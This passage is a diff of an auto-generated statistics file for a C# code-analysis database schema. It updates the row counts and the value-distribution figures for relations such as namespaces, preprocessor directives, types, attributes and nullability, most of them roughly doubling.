-11719,7 +11934,7 @@ 9714 9715 -2 +4 @@ -11735,7 +11950,7 @@ 5457 5458 -2 +4 @@ -11751,7 +11966,7 @@ 9 10 -2 +4 @@ -11761,19 +11976,19 @@ folders -9177 +17831 id -9177 +17831 name -8036 +15615 simple -1428 +2776 @@ -11787,7 +12002,7 @@ 1 2 -9177 +17831 @@ -11803,7 +12018,7 @@ 1 2 -9177 +17831 @@ -11819,7 +12034,7 @@ 1 2 -8036 +15615 @@ -11835,12 +12050,12 @@ 1 2 -6896 +13399 2 3 -1140 +2216 @@ -11856,27 +12071,27 @@ 1 2 -842 +1636 2 3 -278 +540 3 4 -107 +209 4 10 -107 +209 10 383 -92 +180 @@ -11892,27 +12107,27 @@ 1 2 -842 +1636 2 3 -278 +540 3 4 -107 +209 4 10 -107 +209 10 383 -92 +180 @@ -11922,15 +12137,15 @@ containerparent -32383 +62918 parent -8036 +15615 child -32383 +62918 @@ -11944,37 +12159,37 @@ 1 2 -4356 +8465 2 3 -1070 +2079 3 4 -486 +944 4 5 -541 +1052 5 9 -629 +1222 9 17 -609 +1183 17 170 -343 +667 @@ -11990,7 +12205,7 @@ 1 2 -32383 +62918 @@ -12000,15 +12215,15 @@ file_extraction_mode -16276 +31624 file -16276 +31624 mode -2 +4 @@ -12022,7 +12237,7 @@ 1 2 -16276 +31624 @@ -12038,7 +12253,7 @@ 6493 6494 -2 +4 @@ -12048,15 +12263,15 @@ namespaces -11293 +21942 id -11293 +21942 name -2516 +4890 @@ -12070,7 +12285,7 @@ 1 2 -11293 +21942 @@ -12086,37 +12301,37 @@ 1 2 -7 +14 2 3 -1797 +3492 3 4 -2 +4 4 5 -320 +623 6 10 -190 +370 10 101 -190 +370 110 139 -7 +14 @@ -12126,15 +12341,15 @@ namespace_declarations -8355 +19760 id -8355 +19760 namespace_id -1774 +3886 @@ -12148,7 +12363,7 @@ 1 2 -8355 +19760 @@ -12164,37 +12379,42 @@ 1 2 -669 +1397 2 3 -406 +798 3 4 -175 +414 4 5 -140 +306 5 6 -110 +224 6 9 -140 +331 9 +17 +301 + + +17 996 -132 +112 @@ -12204,15 +12424,15 @@ namespace_declaration_location -8355 +19760 id -8355 +19760 loc -8355 +19760 @@ -12226,7 +12446,7 @@ 1 2 -8355 +19760 @@ -12242,7 +12462,7 @@ 1 2 -8355 +19760 @@ -12252,15 +12472,15 @@ parent_namespace -388662 +777059 child_id -388662 +777059 namespace_id -6974 +13554 @@ -12274,7 +12494,7 @@ 1 2 -388662 +777059 @@ -12290,57 +12510,57 @@ 1 2 -1709 +3326 2 3 -842 +1626 3 4 -531 +1027 4 5 -468 +915 5 7 -641 +1251 7 10 -561 +1091 10 15 -589 +1139 15 23 -546 +1061 23 51 -523 +1027 51 835 -523 +1017 900 -34743 -35 +35556 +68 @@ -12350,15 +12570,15 @@ parent_namespace_declaration -43445 +88303 child_id -43212 +87787 namespace_id -8355 +19760 @@ -12372,12 +12592,12 @@ 1 2 -43145 +87636 2 60 -67 +150 @@ -12393,32 +12613,32 @@ 1 2 -5412 +13778 2 9 -747 +1714 9 13 -656 +1276 13 16 -734 +1427 16 -21 -508 +32 +1509 -31 +32 33 -295 +53 @@ -12428,15 +12648,15 @@ using_namespace_directives -66100 +144252 id -66100 +144252 namespace_id -1990 +4227 @@ -12450,7 +12670,7 @@ 1 2 -66100 +144252 @@ -12466,47 +12686,52 @@ 1 2 -696 +1495 2 3 -285 +472 3 4 -115 +297 4 -6 -182 +5 +238 -6 -11 -177 +5 +8 +365 -11 -21 -177 +8 +14 +336 -21 -45 -152 +14 +25 +321 -48 -206 -150 +25 +63 +326 -214 -2199 -50 +64 +465 +321 + + +510 +2519 +53 @@ -12516,15 +12741,15 @@ using_static_directives -199 +390 id -199 +390 type_id -32 +54 @@ -12538,7 +12763,7 @@ 1 2 -199 +390 @@ -12554,46 +12779,46 @@ 1 2 -4 +2 2 3 -15 +22 3 4 -1 +4 4 5 -3 +5 5 +6 +2 + + +6 7 -2 +5 -7 +8 9 -2 +7 -16 -23 -2 - - -26 -27 -1 - - -30 +12 31 +5 + + +46 +71 2 @@ -12604,15 +12829,15 @@ using_directive_location -74275 +144310 id -74275 +144310 loc -74252 +144267 @@ -12626,7 +12851,7 @@ 1 2 -74275 +144310 @@ -12642,12 +12867,12 @@ 1 2 -74229 +144223 2 3 -22 +43 @@ -12657,11 +12882,11 @@ directive_ifs -2550 +5161 id -2550 +5161 branchTaken @@ -12683,7 +12908,7 @@ 1 2 -2550 +5161 @@ -12699,7 +12924,7 @@ 1 2 -2550 +5161 @@ -12713,13 +12938,13 @@ 12 -1194 -1195 +1992 +1993 1 -1219 -1220 +2162 +2163 1 @@ -12755,13 +12980,13 @@ 12 -1199 -1200 +2013 +2014 1 -1214 -1215 +2141 +2142 1 @@ -12793,15 +13018,15 @@ directive_elifs -7 +59 id -7 +59 branchTaken -1 +2 conditionValue @@ -12809,11 +13034,11 @@ parent -7 +51 index -1 +2 @@ -12827,7 +13052,7 @@ 1 2 -7 +59 @@ -12843,7 +13068,7 @@ 1 2 -7 +59 @@ -12859,7 +13084,7 @@ 1 2 -7 +59 @@ -12875,7 +13100,7 @@ 1 2 -7 +59 @@ -12889,8 +13114,13 @@ 12 -7 -8 +18 +19 +1 + + +41 +42 1 @@ -12905,9 +13135,9 @@ 12 -2 -3 -1 +1 +2 +2 @@ -12921,8 +13151,13 @@ 12 -7 -8 +18 +19 +1 + + +39 +40 1 @@ -12937,9 +13172,9 @@ 12 -1 -2 -1 +2 +3 +2 @@ -12953,13 +13188,13 @@ 12 -1 -2 +18 +19 1 -6 -7 +41 +42 1 @@ -12990,13 +13225,13 @@ 12 -1 -2 +18 +19 1 -6 -7 +39 +40 1 @@ -13011,8 +13246,8 @@ 12 -1 -2 +2 +3 2 @@ -13029,7 +13264,12 @@ 1 2 -7 +43 + + +2 +3 +8 @@ -13045,7 +13285,12 @@ 1 2 -7 +45 + + +2 +3 +6 @@ -13061,7 +13306,12 @@ 1 2 -7 +45 + + +2 +3 +6 @@ -13077,7 +13327,12 @@ 1 2 -7 +43 + + +2 +3 +8 @@ -13091,8 +13346,13 @@ 12 -7 -8 +8 +9 +1 + + +51 +52 1 @@ -13107,9 +13367,9 @@ 12 -1 -2 -1 +2 +3 +2 @@ -13125,7 +13385,7 @@ 2 3 -1 +2 @@ -13139,8 +13399,13 @@ 12 -7 -8 +8 +9 +1 + + +51 +52 1 @@ -13151,11 +13416,11 @@ directive_elses -1140 +2314 id -1140 +2314 branchTaken @@ -13163,11 +13428,11 @@ parent -1140 +2314 index -2 +3 @@ -13181,7 +13446,7 @@ 1 2 -1140 +2314 @@ -13197,7 +13462,7 @@ 1 2 -1140 +2314 @@ -13213,7 +13478,7 @@ 1 2 -1140 +2314 @@ -13227,13 +13492,13 @@ 12 -329 -330 +496 +497 1 -750 -751 +1367 +1368 1 @@ -13248,13 +13513,13 @@ 12 -329 -330 +496 +497 1 -750 -751 +1367 +1368 1 @@ -13271,7 +13536,12 @@ 2 3 -2 +1 + + +3 +4 +1 @@ -13287,7 +13557,7 @@ 1 2 -1140 +2314 @@ -13303,7 +13573,7 @@ 1 2 -1140 +2314 @@ -13319,7 +13589,7 @@ 1 2 -1140 +2314 @@ -13333,13 +13603,18 @@ 12 -7 -8 +1 +2 1 -1072 -1073 +10 +11 +1 + + +1852 +1853 1 @@ -13354,6 +13629,11 @@ 12 +1 +2 +1 + + 2 3 2 @@ -13370,13 +13650,18 @@ 12 -7 -8 +1 +2 1 -1072 -1073 +10 +11 +1 + + +1852 +1853 1 @@ -13387,15 +13672,15 @@ directive_endifs -2550 +5161 id -2550 +5161 start -2550 +5161 @@ -13409,7 +13694,7 @@ 1 2 -2550 +5161 @@ -13425,7 +13710,7 @@ 1 2 -2550 +5161 @@ -13435,15 +13720,15 @@ directive_define_symbols -3314 +6226 id -3314 +6226 name -86 +170 @@ -13457,7 +13742,7 @@ 1 2 -3314 +6226 @@ -13473,52 +13758,52 @@ 1 2 -17 +37 2 3 -8 +27 3 4 -10 +13 4 5 -8 +11 5 -6 -7 - - -6 7 -5 +11 7 -12 -7 +10 +12 -13 -23 -6 +10 +17 +14 -24 -55 -7 +17 +27 +14 -97 -656 -7 +27 +72 +13 + + +77 +1098 +13 @@ -13528,15 +13813,15 @@ directive_regions -565 +1954 id -565 +1954 name -216 +710 @@ -13550,7 +13835,7 @@ 1 2 -565 +1954 @@ -13566,27 +13851,27 @@ 1 2 -6 +8 2 3 -175 +547 3 4 -1 +22 4 5 -26 +81 -6 -31 -8 +5 +35 +52 @@ -13596,15 +13881,15 @@ directive_endregions -565 +1954 id -565 +1954 start -565 +1954 @@ -13618,7 +13903,7 @@ 1 2 -565 +1954 @@ -13634,7 +13919,7 @@ 1 2 -565 +1954 @@ -13644,15 +13929,15 @@ directive_lines -128896 +250436 id -128896 +250436 kind -7 +14 @@ -13666,7 +13951,7 @@ 1 2 -128896 +250436 @@ -13682,12 +13967,12 @@ 16650 16651 -5 +9 18118 18119 -2 +4 @@ -13697,15 +13982,15 @@ directive_line_value -41738 +81095 id -41738 +81095 line -709 +1378 @@ -13719,7 +14004,7 @@ 1 2 -41738 +81095 @@ -13735,57 +14020,57 @@ 1 2 -147 +287 2 3 -70 +136 3 4 -55 +107 4 7 -65 +126 7 11 -60 +116 11 15 -55 +107 15 27 -62 +121 27 46 -55 +107 46 104 -55 +107 106 549 -55 +107 569 727 -27 +53 @@ -13795,15 +14080,15 @@ directive_line_file -41738 +81095 id -41738 +81095 file -2396 +4656 @@ -13817,7 +14102,7 @@ 1 2 -41738 +81095 @@ -13833,57 +14118,57 @@ 1 2 -308 +599 2 3 -396 +769 3 4 -255 +496 4 6 -205 +399 6 7 -110 +214 7 9 -200 +389 9 12 -180 +350 12 16 -205 +399 16 27 -185 +360 27 42 -188 +365 42 2665 -160 +311 @@ -13893,19 +14178,19 @@ directive_nullables -83477 +162190 id -83477 +162190 setting -5 +9 target -2 +4 @@ -13919,7 +14204,7 @@ 1 2 -83477 +162190 @@ -13935,7 +14220,7 @@ 1 2 -83477 +162190 @@ -13951,7 +14236,7 @@ 16650 16651 -5 +9 @@ -13967,7 +14252,7 @@ 1 2 -5 +9 @@ -13983,7 +14268,7 @@ 33300 33301 -2 +4 @@ -13999,7 +14284,7 @@ 2 3 -2 +4 @@ -14057,15 +14342,15 @@ directive_errors -1 +28 id -1 +28 message -1 +2 @@ -14079,7 +14364,7 @@ 1 2 -1 +28 @@ -14093,8 +14378,13 @@ 12 -1 -2 +4 +5 +1 + + +24 +25 1 @@ -14153,15 +14443,15 @@ directive_defines -5 +22 id -5 +22 name -5 +12 @@ -14175,7 +14465,7 @@ 1 2 -5 +22 @@ -14191,7 +14481,22 @@ 1 2 -5 +8 + + +2 +3 +1 + + +3 +4 +1 + + +6 +7 +1 @@ -14201,23 +14506,23 @@ pragma_checksums -2494 +4846 id -2494 +4846 file -2494 +4846 guid -2 +4 bytes -2338 +4544 @@ -14231,7 +14536,7 @@ 1 2 -2494 +4846 @@ -14247,7 +14552,7 @@ 1 2 -2494 +4846 @@ -14263,7 +14568,7 @@ 1 2 -2494 +4846 @@ -14279,7 +14584,7 @@ 1 2 -2494 +4846 @@ -14295,7 +14600,7 @@ 1 2 -2494 +4846 @@ -14311,7 +14616,7 @@ 1 2 -2494 +4846 @@ -14327,7 +14632,7 @@ 995 996 -2 +4 @@ -14343,7 +14648,7 @@ 995 996 -2 +4 @@ -14359,7 +14664,7 @@ 933 934 -2 +4 @@ -14375,12 +14680,12 @@ 1 2 -2288 +4446 2 19 -50 +97 @@ -14396,12 +14701,12 @@ 1 2 -2288 +4446 2 19 -50 +97 @@ -14417,7 +14722,7 @@ 1 2 -2338 +4544 @@ -14427,15 +14732,15 @@ pragma_warnings -14725 +28609 id -14725 +28609 kind -5 +9 @@ -14449,7 +14754,7 @@ 1 2 -14725 +28609 @@ -14465,7 +14770,7 @@ 2937 2938 -5 +9 @@ -14475,19 +14780,19 @@ pragma_warning_error_codes -14730 +28619 id -14725 +28609 errorCode -15 +29 index -5 +9 @@ -14501,12 +14806,12 @@ 1 2 -14720 +28600 2 3 -5 +9 @@ -14522,12 +14827,12 @@ 1 2 -14720 +28600 2 3 -5 +9 @@ -14543,17 +14848,17 @@ 2 3 -5 +9 946 947 -5 +9 1990 1991 -5 +9 @@ -14569,7 +14874,7 @@ 1 2 -15 +29 @@ -14585,12 +14890,12 @@ 2 3 -2 +4 5874 5875 -2 +4 @@ -14606,12 +14911,12 @@ 1 2 -2 +4 5 6 -2 +4 @@ -14621,15 +14926,15 @@ preprocessor_directive_location -229688 +446370 id -229688 +446370 loc -229688 +446370 @@ -14643,7 +14948,7 @@ 1 2 -229688 +446370 @@ -14659,7 +14964,7 @@ 1 2 -229688 +446370 @@ -14669,15 +14974,15 @@ preprocessor_directive_compilation -229688 +446370 id -229688 +446370 compilation -172 +345 @@ -14691,7 +14996,7 @@ 1 2 -229688 +446370 @@ -14707,62 +15012,62 @@ 4 11 -12 +29 16 -62 -15 +48 +29 -75 -144 -15 +61 +140 +29 -149 -226 -15 +143 +198 +29 -248 -317 -15 +225 +300 +29 -342 -459 -15 +316 +453 +29 -503 -665 -15 +458 +634 +29 -772 -1090 -15 +664 +1055 +29 -1155 -1276 -15 +1089 +1250 +29 -1343 -2001 -15 +1275 +1989 +29 -2121 -4115 -15 +2000 +3215 +29 -6086 +4114 19444 -10 +24 @@ -14772,15 +15077,15 @@ preprocessor_directive_active -229688 +446370 id -229688 +446370 active -2 +9 @@ -14794,7 +15099,7 @@ 1 2 -229688 +446370 @@ -14808,9 +15113,14 @@ 12 -91625 -91626 -2 +7 +8 +4 + + +91639 +91640 +4 @@ -14820,19 +15130,19 @@ types -434504 +867165 id -434504 +867165 kind -67 +131 name -184347 +366858 @@ -14846,7 +15156,7 @@ 1 2 -434504 +867165 @@ -14862,7 +15172,7 @@ 1 2 -434504 +867165 @@ -14878,32 +15188,32 @@ 1 2 -42 +82 45 -198 -5 +199 +9 -342 -1750 -5 +366 +1874 +9 -2450 -9903 -5 +2454 +10198 +9 -20838 -35370 -5 +22085 +36570 +9 -40817 -61603 -5 +41596 +62642 +9 @@ -14919,32 +15229,32 @@ 1 2 -42 +82 45 -154 -5 +158 +9 -168 +169 701 -5 +9 -1043 +1086 2228 -5 +9 -6467 -9921 -5 +6598 +10563 +9 -17642 -35459 -5 +18339 +35727 +9 @@ -14960,17 +15270,17 @@ 1 2 -163114 +324610 2 5 -14629 +28838 5 -6327 -6603 +6356 +13408 @@ -14986,12 +15296,12 @@ 1 2 -183613 +365421 2 4 -734 +1436 @@ -15001,15 +15311,15 @@ typerefs -120781 +234791 id -120781 +234791 name -91080 +176982 @@ -15023,7 +15333,7 @@ 1 2 -120781 +234791 @@ -15039,17 +15349,17 @@ 1 2 -83592 +162434 2 7 -6938 +13481 7 2183 -548 +1066 @@ -15059,15 +15369,15 @@ typeref_type -120694 +234611 id -120694 +234611 typeId -120694 +234611 @@ -15081,7 +15391,7 @@ 1 2 -120694 +234611 @@ -15097,7 +15407,7 @@ 1 2 -120694 +234611 @@ -15107,23 +15417,23 @@ array_element_type -4384 +9122 array -4384 +9122 dimension -5 +9 rank -5 +9 element -4379 +9112 @@ -15137,7 +15447,7 @@ 1 2 -4384 +9122 @@ -15153,7 +15463,7 @@ 1 2 -4384 +9122 @@ -15169,7 +15479,7 @@ 1 2 -4384 +9122 @@ -15185,12 +15495,12 @@ 20 21 -2 +4 -1729 -1730 -2 +1853 +1854 +4 @@ -15206,12 +15516,12 @@ 1 2 -2 +4 2 3 -2 +4 @@ -15227,12 +15537,12 @@ 20 21 -2 +4 -1727 -1728 -2 +1851 +1852 +4 @@ -15248,12 +15558,12 @@ 2 3 -2 +4 -1747 -1748 -2 +1871 +1872 +4 @@ -15269,12 +15579,12 @@ 1 2 -2 +4 2 3 -2 +4 @@ -15290,12 +15600,12 @@ 2 3 -2 +4 -1747 -1748 -2 +1871 +1872 +4 @@ -15311,12 +15621,12 @@ 1 2 -4374 +9103 2 3 -5 +9 @@ -15332,7 +15642,7 @@ 1 2 -4379 +9112 @@ -15348,12 +15658,12 @@ 1 2 -4374 +9103 2 3 -5 +9 @@ -15363,15 +15673,15 @@ nullable_underlying_type -550 +979 nullable -550 +979 underlying -550 +979 @@ -15385,7 +15695,7 @@ 1 2 -550 +979 @@ -15401,7 +15711,7 @@ 1 2 -550 +979 @@ -15411,15 +15721,15 @@ pointer_referent_type -112 +219 pointer -112 +219 referent -112 +219 @@ -15433,7 +15743,7 @@ 1 2 -112 +219 @@ -15449,7 +15759,7 @@ 1 2 -112 +219 @@ -15459,15 +15769,15 @@ enum_underlying_type -6141 +11952 enum_id -6141 +11952 underlying_type_id -20 +38 @@ -15481,7 +15791,7 @@ 1 2 -6141 +11952 @@ -15497,37 +15807,37 @@ 5 6 -5 +9 23 24 -2 +4 25 26 -2 +4 41 42 -2 +4 172 173 -2 +4 285 286 -2 +4 -1894 -1895 -2 +1898 +1899 +4 @@ -15537,15 +15847,15 @@ delegate_return_type -52229 +107552 delegate_id -52229 +107552 return_type_id -26697 +55510 @@ -15559,7 +15869,7 @@ 1 2 -52229 +107552 @@ -15575,12 +15885,12 @@ 1 2 -25171 +52198 2 -4000 -1526 +4178 +3312 @@ -15590,15 +15900,15 @@ function_pointer_return_type -9 +11 function_pointer_id -9 +11 return_type_id -6 +3 @@ -15612,7 +15922,7 @@ 1 2 -9 +11 @@ -15626,9 +15936,14 @@ 12 -1 -2 -5 +2 +3 +1 + + +3 +4 +1 4 @@ -15643,15 +15958,15 @@ extend -160600 +323485 sub -160600 +323485 super -16246 +31566 @@ -15665,7 +15980,7 @@ 1 2 -160600 +323485 @@ -15681,27 +15996,27 @@ 1 2 -11646 +22628 2 3 -2050 +3979 3 5 -1240 +2415 5 70 -1223 +2376 70 -20836 -85 +22083 +165 @@ -15711,26 +16026,26 @@ anonymous_types -571 +1212 id -571 +1212 implement -266554 +541624 sub -112586 +226351 super -60780 +122544 @@ -15744,27 +16059,27 @@ 1 2 -51182 +100772 2 3 -27933 +57044 3 4 -17643 +36110 4 7 -9373 +18970 7 21 -6455 +13452 @@ -15780,27 +16095,27 @@ 1 2 -33561 +66951 2 3 -14692 +29783 3 4 -4983 +10247 4 6 -4168 +8694 6 -20685 -3374 +21807 +6867 @@ -15810,15 +16125,15 @@ type_location -277271 +553689 id -237743 +466963 loc -12499 +29876 @@ -15832,17 +16147,17 @@ 1 2 -209975 +407386 2 3 -19400 +39232 3 638 -8367 +20344 @@ -15858,22 +16173,17 @@ 1 2 -10568 +26004 2 -20 -962 +26 +2269 -20 -1759 -937 - - -1782 +26 12195 -30 +1602 @@ -15883,15 +16193,15 @@ tuple_underlying_type -857 +1782 tuple -857 +1782 struct -574 +1139 @@ -15905,7 +16215,7 @@ 1 2 -857 +1782 @@ -15921,17 +16231,17 @@ 1 2 -333 +642 2 3 -213 +423 3 -6 -27 +9 +73 @@ -15941,19 +16251,19 @@ tuple_element -3374 +6789 tuple -854 +1777 index -52 +102 field -3374 +6789 @@ -15967,37 +16277,37 @@ 1 2 -22 +43 2 3 -523 +1134 3 4 -75 +146 4 5 -32 +63 5 7 -72 +141 7 13 -72 +141 13 22 -55 +107 @@ -16013,37 +16323,37 @@ 1 2 -22 +43 2 3 -523 +1134 3 4 -75 +146 4 5 -32 +63 5 7 -72 +141 7 13 -72 +141 13 22 -55 +107 @@ -16059,107 +16369,107 @@ 2 3 -2 +4 4 5 -2 +4 6 7 -2 +4 8 9 -2 +4 10 11 -2 +4 12 13 -2 +4 14 15 -2 +4 18 19 -2 +4 22 23 -2 +4 26 27 -2 +4 30 31 -2 +4 34 35 -2 +4 38 39 -2 +4 43 44 -2 +4 51 52 -2 +4 59 60 -2 +4 80 81 -2 +4 93 94 -2 +4 123 124 -2 +4 -332 -333 -2 +356 +357 +4 -341 -342 -2 +365 +366 +4 @@ -16175,107 +16485,107 @@ 2 3 -2 +4 4 5 -2 +4 6 7 -2 +4 8 9 -2 +4 10 11 -2 +4 12 13 -2 +4 14 15 -2 +4 18 19 -2 +4 22 23 -2 +4 26 27 -2 +4 30 31 -2 +4 34 35 -2 +4 38 39 -2 +4 43 44 -2 +4 51 52 -2 +4 59 60 -2 +4 80 81 -2 +4 93 94 -2 +4 123 124 -2 +4 -332 -333 -2 +356 +357 +4 -341 -342 -2 +365 +366 +4 @@ -16291,7 +16601,7 @@ 1 2 -3374 +6789 @@ -16307,7 +16617,7 @@ 1 2 -3374 +6789 @@ -16317,19 +16627,19 @@ attributes -368399 +745454 id -368399 +745454 type_id -867 +1685 target -219716 +427019 @@ -16343,7 +16653,7 @@ 1 2 -368399 +745454 @@ -16359,7 +16669,7 @@ 1 2 -368399 +745454 @@ -16375,67 +16685,67 @@ 1 2 -115 +189 2 3 -85 +194 3 4 -45 +87 4 7 -72 +141 7 -9 -62 +10 +150 -9 -16 -67 +10 +18 +131 -16 -23 -65 +18 +28 +131 -23 -50 -65 +28 +54 +131 -50 -87 -65 +55 +119 +126 -90 -188 -65 +119 +232 +126 -194 -466 -65 +237 +608 +126 -498 -1735 -65 +616 +4825 +126 -1785 +5142 41857 -27 +19 @@ -16451,62 +16761,62 @@ 1 2 -165 +316 2 3 -67 +131 3 4 -40 +77 4 6 -72 +141 6 9 -72 +141 9 15 -65 +126 15 -26 -67 +25 +126 -26 -48 -65 +25 +47 +131 -48 -82 -67 +47 +81 +126 -82 -182 -65 +81 +176 +126 -183 -607 -65 +180 +563 +126 -607 +596 39377 -52 +112 @@ -16522,17 +16832,17 @@ 1 2 -188082 +365075 2 3 -24348 +47478 3 957 -7284 +14465 @@ -16548,17 +16858,17 @@ 1 2 -202865 +394279 2 16 -16660 +32369 16 20 -190 +370 @@ -16568,15 +16878,15 @@ attribute_location -403061 +813511 id -368399 +745454 loc -36840 +72328 @@ -16590,12 +16900,12 @@ 1 2 -333737 +677397 2 3 -34662 +68056 @@ -16611,12 +16921,12 @@ 1 2 -34677 +68125 4 -22087 -2163 +26599 +4203 @@ -16626,19 +16936,19 @@ type_mention -622003 +1252212 id -622003 +1252212 type_id -21696 +35186 parent -541633 +1030376 @@ -16652,7 +16962,7 @@ 1 2 -622003 +1252212 @@ -16668,7 +16978,7 @@ 1 2 -622003 +1252212 @@ -16684,52 +16994,52 @@ 1 2 -5029 +5682 2 3 -4912 +7203 3 4 -1876 +3551 4 5 -1650 +3839 5 6 -1080 +1995 6 8 -1622 +2856 8 12 -1671 +2927 12 -24 -1673 +22 +2759 -24 -119 -1633 +22 +67 +2652 -119 -44145 -547 +67 +80294 +1717 @@ -16745,47 +17055,52 @@ 1 2 -6457 +9874 2 3 -4662 +5858 3 4 -1635 +3388 4 5 -1239 +2829 5 -7 -1984 +6 +1929 -7 -11 -1965 +6 +8 +2625 -11 -22 -1628 +8 +13 +2874 -22 -120 -1627 +13 +28 +2640 -120 -38647 -494 +28 +207 +2639 + + +207 +66416 +525 @@ -16801,17 +17116,17 @@ 1 2 -480732 +872847 2 3 -55624 +141323 3 187 -5276 +16204 @@ -16827,12 +17142,12 @@ 1 2 -532606 +1011056 2 22 -9026 +19319 @@ -16842,15 +17157,15 @@ type_mention_location -626999 +1252212 id -626999 +1252212 loc -593108 +1163351 @@ -16864,7 +17179,7 @@ 1 2 -626999 +1252212 @@ -16880,12 +17195,12 @@ 1 2 -572155 +1126926 2 -187 -20953 +199 +36425 @@ -16895,15 +17210,15 @@ type_annotation -25557 +50926 id -25557 +50926 annotation -7 +14 @@ -16917,7 +17232,7 @@ 1 2 -25557 +50926 @@ -16931,19 +17246,19 @@ 12 -1305 -1306 -2 +1306 +1307 +4 -2046 -2047 -2 +2047 +2048 +4 -6844 -6845 -2 +7103 +7104 +4 @@ -16953,15 +17268,15 @@ nullability -997 +1996 nullability -997 +1996 kind -7 +14 @@ -16975,7 +17290,7 @@ 1 2 -997 +1996 @@ -16991,17 +17306,17 @@ 13 14 -2 +4 -120 -121 -2 +127 +128 +4 -265 -266 -2 +270 +271 +4 @@ -17011,19 +17326,19 @@ nullability_parent -3146 +6278 nullability -265 +521 index -52 +102 parent -990 +1982 @@ -17037,22 +17352,22 @@ 1 2 -172 +340 2 3 -60 +116 3 5 -17 +34 5 22 -15 +29 @@ -17068,37 +17383,37 @@ 1 2 -125 +243 2 3 -47 +92 3 4 -30 +53 4 5 -15 +38 5 8 -22 +38 8 -41 -20 +44 +43 -136 -201 -5 +138 +207 +9 @@ -17114,37 +17429,37 @@ 1 2 -10 +19 3 4 -27 +53 5 6 -2 +4 7 8 -2 +4 17 18 -5 +9 39 40 -2 +4 -87 -88 -2 +88 +89 +4 @@ -17160,97 +17475,97 @@ 1 2 -5 +9 2 3 -5 +9 4 5 -2 +4 6 7 -2 +4 8 9 -2 +4 10 11 -2 +4 12 13 -2 +4 14 15 -2 +4 16 17 -2 +4 20 21 -2 +4 22 23 -2 +4 40 41 -2 +4 44 45 -2 +4 -51 -52 -2 +52 +53 +4 -67 -68 -2 +69 +70 +4 -94 -95 -2 +97 +98 +4 -151 -152 -2 +157 +158 +4 -295 -296 -2 +305 +306 +4 -395 -396 -2 +407 +408 +4 @@ -17266,17 +17581,17 @@ 1 2 -295 +594 2 3 -616 +1227 3 4 -77 +160 @@ -17292,37 +17607,37 @@ 1 2 -250 +496 2 3 -360 +720 3 4 -142 +292 4 5 -67 +136 5 8 -67 +141 8 -14 -75 +15 +155 -14 +15 22 -25 +38 @@ -17332,15 +17647,15 @@ type_nullability -2271603 +4596996 id -2238788 +4529942 nullability -601 +959 @@ -17354,12 +17669,12 @@ 1 2 -2209099 +4469255 2 9 -29689 +60687 @@ -17375,57 +17690,62 @@ 1 2 -131 +163 2 3 -81 +146 3 4 -35 +60 4 5 -38 +67 5 7 -48 +81 7 10 -48 +66 10 -13 -46 +14 +73 -13 +14 23 -50 +77 23 -61 -46 +41 +72 -63 -224 -46 +41 +123 +72 -278 -1814893 -32 +123 +4117 +72 + + +4580 +3677458 +10 @@ -17435,11 +17755,11 @@ expr_flowstate -1300115 +2970146 id -1300115 +2970146 state @@ -17457,7 +17777,7 @@ 1 2 -1300115 +2970146 @@ -17471,13 +17791,13 @@ 12 -116006 -116007 +197316 +197317 1 -1113915 -1113916 +2192983 +2192984 1 @@ -17488,23 +17808,23 @@ type_parameters -102354 +202684 id -102354 +202684 index -52 +102 generic_id -51560 +103704 variance -7 +14 @@ -17518,7 +17838,7 @@ 1 2 -102354 +202684 @@ -17534,7 +17854,7 @@ 1 2 -102354 +202684 @@ -17550,7 +17870,7 @@ 1 2 -102354 +202684 @@ -17566,107 +17886,107 @@ 5 6 -2 +4 8 9 -2 +4 12 13 -2 +4 15 16 -2 +4 48 49 -2 +4 170 171 -2 +4 298 299 -2 +4 429 430 -2 +4 560 561 -2 +4 691 692 -2 +4 822 823 -2 +4 954 955 -2 +4 1089 1090 -2 +4 1240 1241 -2 +4 1385 1386 -2 +4 1539 1540 -2 +4 -1753 -1754 -2 +1757 +1758 +4 -2007 -2008 -2 +2015 +2016 +4 -2524 -2525 -2 +2536 +2537 +4 -4710 -4711 -2 +4744 +4745 +4 -20558 -20559 -2 +21279 +21280 +4 @@ -17682,107 +18002,107 @@ 5 6 -2 +4 8 9 -2 +4 12 13 -2 +4 15 16 -2 +4 48 49 -2 +4 170 171 -2 +4 298 299 -2 +4 429 430 -2 +4 560 561 -2 +4 691 692 -2 +4 822 823 -2 +4 954 955 -2 +4 1089 1090 -2 +4 1240 1241 -2 +4 1385 1386 -2 +4 1539 1540 -2 +4 -1753 -1754 -2 +1757 +1758 +4 -2007 -2008 -2 +2015 +2016 +4 -2524 -2525 -2 +2536 +2537 +4 -4712 -4713 -2 +4748 +4749 +4 -20568 -20569 -2 +21292 +21293 +4 @@ -17798,17 +18118,17 @@ 1 2 -10 +19 2 3 -2 +4 3 4 -40 +77 @@ -17824,22 +18144,22 @@ 1 2 -39748 +80579 2 3 -5484 +10773 3 -10 -3935 +11 +8348 -10 +11 22 -2391 +4003 @@ -17855,22 +18175,22 @@ 1 2 -39748 +80579 2 3 -5484 +10773 3 -10 -3935 +11 +8348 -10 +11 22 -2391 +4003 @@ -17886,12 +18206,12 @@ 1 2 -51482 +103553 2 3 -77 +150 @@ -17907,17 +18227,17 @@ 68 69 -2 +4 310 311 -2 +4 -40440 -40441 -2 +41219 +41220 +4 @@ -17933,17 +18253,17 @@ 16 17 -2 +4 17 18 -2 +4 21 22 -2 +4 @@ -17959,17 +18279,17 @@ 65 66 -2 +4 72 73 -2 +4 -20462 -20463 -2 +21186 +21187 +4 @@ -17979,19 +18299,19 @@ type_arguments -315219 +643766 id -136875 +273250 index -52 +102 constructed_id -201248 +412875 @@ -18005,17 +18325,17 @@ 1 2 -119004 +234660 2 3 -17166 +37113 3 21 -704 +1475 @@ -18031,27 +18351,27 @@ 1 2 -88393 +173928 2 3 -27419 +56469 3 5 -10305 +20568 5 -25 -10278 +23 +20651 -25 -2394 -478 +23 +2800 +1631 @@ -18067,97 +18387,97 @@ 2 3 -7 +14 3 4 -2 +4 55 56 -2 +4 167 168 -2 +4 283 284 -2 +4 402 403 -2 +4 521 522 -2 +4 640 641 -2 +4 759 760 -2 +4 883 884 -2 +4 1002 1003 -2 +4 1232 1233 -2 +4 1327 1328 -2 +4 -1510 -1511 -2 +1515 +1516 +4 -1717 -1718 -2 +1729 +1730 +4 -1979 -1980 -2 +2010 +2011 +4 -3839 -3840 -2 +4190 +4191 +4 -13565 -13566 -2 +14311 +14312 +4 -32507 -32508 -2 +33697 +33698 +4 @@ -18173,97 +18493,97 @@ 2 3 -5 +9 3 4 -5 +9 96 97 -2 +4 227 228 -2 +4 365 366 -2 +4 503 504 -2 +4 641 